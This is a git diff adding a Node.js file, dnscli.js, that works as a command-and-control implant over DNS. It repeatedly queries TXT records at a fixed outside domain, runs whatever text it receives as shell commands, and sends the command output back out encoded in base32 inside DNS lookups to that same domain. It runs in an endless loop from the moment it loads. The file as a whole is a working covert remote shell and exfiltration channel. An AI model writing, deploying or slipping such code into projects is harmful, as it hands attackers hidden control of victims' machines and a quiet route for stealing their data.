1 files changed, 158 insertions, 0 deletions
diff --git a/dnscli.js b/dnscli.js
new file mode 100644
index 0000000..204b439
--- /dev/null
+++ b/dnscli.js
@@ -0,0 +1,158 @@
+const DOMAIN = 'zcz.cflems.org';
+const MAX_CHUNK_SIZE = 35;
+const MAX_ENCODED_SIZE = 63;
+const MAX_TOTAL_SIZE = 255 - DOMAIN.length;
+const MAX_CHUNKS = Math.floor(MAX_TOTAL_SIZE / MAX_ENCODED_SIZE);
+const NOP_SLEEP_TIME = 1;
+
+const dns = require('dns');
+const cp = require('child_process');
+
+function sleep(sec) {
+  return new Promise(function(resolve) {
+    setTimeout(resolve, 1000*sec);
+  });
+}
+
+function getDNSText(dest) {
+  return new Promise(function(resolve, reject) {
+    dns.resolveTxt(dest, function(err, records) {
+      if (err) reject(err);
+      else resolve(records);
+    });
+  });
+}
+
+function system(cmd) {
+  return new Promise(function(resolve, reject) {
+    cp.exec(cmd, function (err, stdout, stderr) {
+      if (err) reject(err);
+      else resolve({stdout, stderr});
+    });
+  });
+}
+
+async function eventLoop() {
+  while (true) {
+    try {
+      await event();
+    } catch (e) {
+      await sleep(NOP_SLEEP_TIME);
+    }
+  }
+}
+
+async function event() {
+  const records = await getDNSText('asuh.' + DOMAIN);
+  if (!records[0] || !records[0][0] || records[0][0] == 'nop') {
+    await sleep(NOP_SLEEP_TIME);
+    return;
+  }
+
+  for (const record of records) {
+    const rtxt = record.join('');
+    let {stdout, stderr} = await system(rtxt);
+    let packets = [];
+    stdout = stdout.trim();
+    stderr = stderr.trim();
+
+    if (stdout.length > 0) {
+      for (let line of stdout.split('\n')) {
+        console.log('line: "', line, '"');
+        packets = packets.concat(encode(line));
+      }
+    }
+    if (stderr.length > 0) {
+      for (line of stderr.split('\n')) {
+        console.log('line: "', line, '"');
+        packets = packets.concat(encode(line));
+      }
+    }
+    packets = packets.concat(encode('\xde\xadDONE'));
+
+    for (const packet of packets) {
+      await getDNSText(packet + DOMAIN);
+    }
+  }
+}
+
+function encode(s) {
+  const packets = [];
+  let parcel = '';
+
+  while (s.length > 0) {
+    const chunk = b32(s.substr(0, MAX_CHUNK_SIZE));
+    if (parcel.length + chunk.length + 1 > MAX_TOTAL_SIZE) {
+      packets.push(parcel);
+      parcel = '';
+    }
+    parcel = chunk + '.' + parcel;
+    s = s.substr(MAX_CHUNK_SIZE);
+  }
+  if (parcel.length > 0) packets.push(parcel);
+
+  return packets;
+}
+
+function b32(s) {
+  const a = 'abcdefghijklmnopqrstuvwxy1234567';
+  const pad = 'z';
+  const len = s.length;
+  let o = '';
+  let w, c, r=0, sh=0;
+  for(let i=0; i<len; i+=5) {
+    c = s.charCodeAt(i);
+    w = 0xf8 & c;
+    o += a.charAt(w>>3);
+    r = 0x07 & c;
+    sh = 2;
+
+    if ((i+1)<len) {
+      c = s.charCodeAt(i+1);
+      w = 0xc0 & c;
+      o += a.charAt((r<<2) + (w>>6));
+      o += a.charAt( (0x3e & c) >> 1 );
+      r = c & 0x01;
+      sh = 4;
+    }
+
+    if ((i+2)<len) {
+      c = s.charCodeAt(i+2);
+      w = 0xf0 & c;
+      o += a.charAt((r<<4) + (w>>4));
+      r = 0x0f & c;
+      sh = 1;
+    }
+
+    if ((i+3)<len) {
+      c = s.charCodeAt(i+3);
+      w = 0x80 & c;
+      o += a.charAt((r<<1) + (w>>7));
+      o += a.charAt((0x7c & c) >> 2);
+      r = 0x03 & c;
+      sh = 3;
+    }
+
+    if ((i+4)<len) {
+      c = s.charCodeAt(i+4);
+      w = 0xe0 & c;
+      o += a.charAt((r<<3) + (w>>5));
+      o += a.charAt(0x1f & c);
+      r = 0;
+      sh = 0;
+    }
+  }
+
+  if (sh != 0) { o += a.charAt(r<<sh); }
+
+  const padlen = 8 - (o.length % 8);
+
+  if (padlen==8) { return o; }
+  if (padlen==1) { return o + pad; }
+  if (padlen==3) { return o + pad + pad + pad; }
+  if (padlen==4) { return o + pad + pad + pad + pad; }
+  if (padlen==6) { return o + pad + pad + pad + pad + pad + pad; }
+  return false;
+}
+
+eventLoop();